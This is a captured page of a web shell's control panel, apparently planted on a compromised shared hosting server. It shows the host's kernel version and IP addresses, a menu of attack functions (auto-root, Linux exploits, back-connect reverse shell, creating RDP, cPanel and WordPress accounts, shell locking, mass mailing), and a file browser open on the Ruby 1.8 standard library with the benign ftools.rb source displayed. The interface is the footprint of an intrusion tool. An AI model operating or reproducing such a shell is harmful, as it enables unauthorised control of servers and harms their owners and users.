Linux server257.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 185.61.153.106 | : 216.73.216.37
Cant Read [ /etc/named.conf ]
8.1.33
safeqmlm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
[ HOME SHELL ]
Name
Size
Permission
Action
bigdecimal
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
date
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
dl
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
runit
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
soap
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
wsdl
[ DIR ]
drwxr-xr-x
x86_64-linux
[ DIR ]
drwxr-xr-x
xmlrpc
[ DIR ]
drwxr-xr-x
xsd
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
5.6
KB
-rw-r--r--
Env.rb
274
B
-rw-r--r--
abbrev.rb
2.5
KB
-rw-r--r--
base64.rb
3.37
KB
-rw-r--r--
benchmark.rb
17.73
KB
-rw-r--r--
cgi-lib.rb
6.89
KB
-rw-r--r--
cgi.rb
73.74
KB
-rw-r--r--
complex.rb
12.84
KB
-rw-r--r--
csv.rb
24.46
KB
-rw-r--r--
date.rb
53.02
KB
-rw-r--r--
date2.rb
128
B
-rw-r--r--
debug.rb
20.61
KB
-rw-r--r--
delegate.rb
8.81
KB
-rw-r--r--
digest.rb
1.12
KB
-rw-r--r--
drb.rb
19
B
-rw-r--r--
e2mmap.rb
4.04
KB
-rw-r--r--
erb.rb
21.38
KB
-rw-r--r--
eregex.rb
487
B
-rw-r--r--
expect.rb
633
B
-rw-r--r--
fileutils.rb
42.23
KB
-rw-r--r--
finalize.rb
5.38
KB
-rw-r--r--
find.rb
1.84
KB
-rw-r--r--
forwardable.rb
6.16
KB
-rw-r--r--
ftools.rb
6.17
KB
-rw-r--r--
generator.rb
8.1
KB
-rw-r--r--
getoptlong.rb
14.88
KB
-rw-r--r--
getopts.rb
2.25
KB
-rw-r--r--
gserver.rb
6.43
KB
-rw-r--r--
importenv.rb
590
B
-rw-r--r--
ipaddr.rb
21.96
KB
-rw-r--r--
irb.rb
7.43
KB
-rw-r--r--
jcode.rb
4.3
KB
-rw-r--r--
kconv.rb
8.12
KB
-rw-r--r--
logger.rb
17.59
KB
-rw-r--r--
mailread.rb
1.28
KB
-rw-r--r--
mathn.rb
5.42
KB
-rw-r--r--
matrix.rb
27.21
KB
-rw-r--r--
md5.rb
411
B
-rw-r--r--
mkmf.rb
50.65
KB
-rw-r--r--
monitor.rb
7.93
KB
-rw-r--r--
mutex_m.rb
2.07
KB
-rw-r--r--
observer.rb
5.15
KB
-rw-r--r--
open-uri.rb
20.49
KB
-rw-r--r--
open3.rb
2.1
KB
-rw-r--r--
openssl.rb
575
B
-rw-r--r--
optparse.rb
47.12
KB
-rw-r--r--
ostruct.rb
3.35
KB
-rw-r--r--
parsearg.rb
1.55
KB
-rw-r--r--
parsedate.rb
1.33
KB
-rw-r--r--
pathname.rb
29.39
KB
-rw-r--r--
ping.rb
1.48
KB
-rw-r--r--
pp.rb
15.97
KB
-rw-r--r--
prettyprint.rb
18.33
KB
-rw-r--r--
profile.rb
90
B
-rw-r--r--
profiler.rb
1.59
KB
-rw-r--r--
pstore.rb
11.15
KB
-rw-r--r--
rational.rb
12.05
KB
-rw-r--r--
readbytes.rb
835
B
-rw-r--r--
resolv-replace.rb
1.55
KB
-rw-r--r--
resolv.rb
56.83
KB
-rw-r--r--
rss.rb
504
B
-rw-r--r--
rubyunit.rb
180
B
-rw-r--r--
scanf.rb
20.63
KB
-rw-r--r--
securerandom.rb
4.27
KB
-rw-r--r--
set.rb
27.08
KB
-rw-r--r--
sha1.rb
418
B
-rw-r--r--
shell.rb
4.66
KB
-rw-r--r--
shellwords.rb
3.99
KB
-rw-r--r--
singleton.rb
8.08
KB
-rw-r--r--
sync.rb
6.09
KB
-rw-r--r--
tempfile.rb
4.86
KB
-rw-r--r--
thread.rb
104
B
-rw-r--r--
thwait.rb
4.32
KB
-rw-r--r--
time.rb
31.58
KB
-rw-r--r--
timeout.rb
3
KB
-rw-r--r--
tmpdir.rb
3.69
KB
-rw-r--r--
tracer.rb
2.73
KB
-rw-r--r--
tsort.rb
7.99
KB
-rw-r--r--
un.rb
4.54
KB
-rw-r--r--
uri.rb
710
B
-rw-r--r--
weakref.rb
2.68
KB
-rw-r--r--
webrick.rb
811
B
-rw-r--r--
yaml.rb
12.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ftools.rb
# # = ftools.rb: Extra tools for the File class # # Author:: WATANABE, Hirofumi # Documentation:: Zachary Landau # # This library can be distributed under the terms of the Ruby license. # You can freely distribute/modify this library. # # It is included in the Ruby standard library. # # == Description # # ftools adds several (class, not instance) methods to the File class, for # copying, moving, deleting, installing, and comparing files, as well as # creating a directory path. See the File class for details. # # FileUtils contains all or nearly all the same functionality and more, and # is a recommended option over ftools # # When you # # require 'ftools' # # then the File class aquires some utility methods for copying, moving, and # deleting files, and more. # # See the method descriptions below, and consider using FileUtils as it is # more comprehensive. # class File end class << File BUFSIZE = 8 * 1024 # # If +to+ is a valid directory, +from+ will be appended to +to+, adding # and escaping backslashes as necessary. Otherwise, +to+ will be returned. # Useful for appending +from+ to +to+ only if the filename was not specified # in +to+. # def catname(from, to) if directory? to join to.sub(%r([/\\]$), ''), basename(from) else to end end # # Copies a file +from+ to +to+. If +to+ is a directory, copies +from+ # to <tt>to/from</tt>. # def syscopy(from, to) to = catname(from, to) fmode = stat(from).mode tpath = to not_exist = !exist?(tpath) from = open(from, "rb") to = open(to, "wb") begin while true to.syswrite from.sysread(BUFSIZE) end rescue EOFError ret = true rescue ret = false ensure to.close from.close end chmod(fmode, tpath) if not_exist ret end # # Copies a file +from+ to +to+ using #syscopy. If +to+ is a directory, # copies +from+ to <tt>to/from</tt>. If +verbose+ is true, <tt>from -> to</tt> # is printed. # def copy(from, to, verbose = false) $stderr.print from, " -> ", catname(from, to), "\n" if verbose syscopy from, to end alias cp copy # # Moves a file +from+ to +to+ using #syscopy. If +to+ is a directory, # copies from +from+ to <tt>to/from</tt>. If +verbose+ is true, <tt>from -> # to</tt> is printed. # def move(from, to, verbose = false) to = catname(from, to) $stderr.print from, " -> ", to, "\n" if verbose if RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw/ and file? to unlink to end fstat = stat(from) begin rename from, to rescue begin symlink readlink(from), to and unlink from rescue from_stat = stat(from) syscopy from, to and unlink from utime(from_stat.atime, from_stat.mtime, to) begin chown(fstat.uid, fstat.gid, to) rescue end end end end alias mv move # # Returns +true+ if and only if the contents of files +from+ and +to+ are # identical. If +verbose+ is +true+, <tt>from <=> to</tt> is printed. # def compare(from, to, verbose = false) $stderr.print from, " <=> ", to, "\n" if verbose return false if stat(from).size != stat(to).size from = open(from, "rb") to = open(to, "rb") ret = false fr = tr = '' begin while fr == tr fr = from.read(BUFSIZE) if fr tr = to.read(fr.size) else ret = to.read(BUFSIZE) ret = !ret || ret.length == 0 break end end rescue ret = false ensure to.close from.close end ret end alias cmp compare # # Removes a list of files. Each parameter should be the name of the file to # delete. If the last parameter isn't a String, verbose mode will be enabled. # Returns the number of files deleted. # def safe_unlink(*files) verbose = if files[-1].is_a? String then false else files.pop end files.each do |file| begin unlink file $stderr.print "removing ", file, "\n" if verbose rescue Errno::EACCES # for Windows continue if symlink? file begin mode = stat(file).mode o_chmod mode | 0200, file unlink file $stderr.print "removing ", file, "\n" if verbose rescue o_chmod mode, file rescue nil end rescue end end end alias rm_f safe_unlink # # Creates a directory and all its parent directories. # For example, # # File.makedirs '/usr/lib/ruby' # # causes the following directories to be made, if they do not exist. # * /usr # * /usr/lib # * /usr/lib/ruby # # You can pass several directories, each as a parameter. If the last # parameter isn't a String, verbose mode will be enabled. # def makedirs(*dirs) verbose = if dirs[-1].is_a? String then false else dirs.pop end mode = 0755 for dir in dirs parent = dirname(dir) next if parent == dir or directory? dir makedirs parent unless directory? parent $stderr.print "mkdir ", dir, "\n" if verbose if basename(dir) != "" begin Dir.mkdir dir, mode rescue SystemCallError raise unless directory? dir end end end end alias mkpath makedirs alias o_chmod chmod vsave, $VERBOSE = $VERBOSE, false # # Changes permission bits on +files+ to the bit pattern represented # by +mode+. If the last parameter isn't a String, verbose mode will # be enabled. # # File.chmod 0755, 'somecommand' # File.chmod 0644, 'my.rb', 'your.rb', true # def chmod(mode, *files) verbose = if files[-1].is_a? String then false else files.pop end $stderr.printf "chmod %04o %s\n", mode, files.join(" ") if verbose o_chmod mode, *files end $VERBOSE = vsave # # If +src+ is not the same as +dest+, copies it and changes the permission # mode to +mode+. If +dest+ is a directory, destination is <tt>dest/src</tt>. # If +mode+ is not set, default is used. If +verbose+ is set to true, the # name of each file copied will be printed. # def install(from, to, mode = nil, verbose = false) to = catname(from, to) unless exist? to and cmp from, to safe_unlink to if exist? to cp from, to, verbose chmod mode, to, verbose if mode end end end # vi:set sw=2:
Close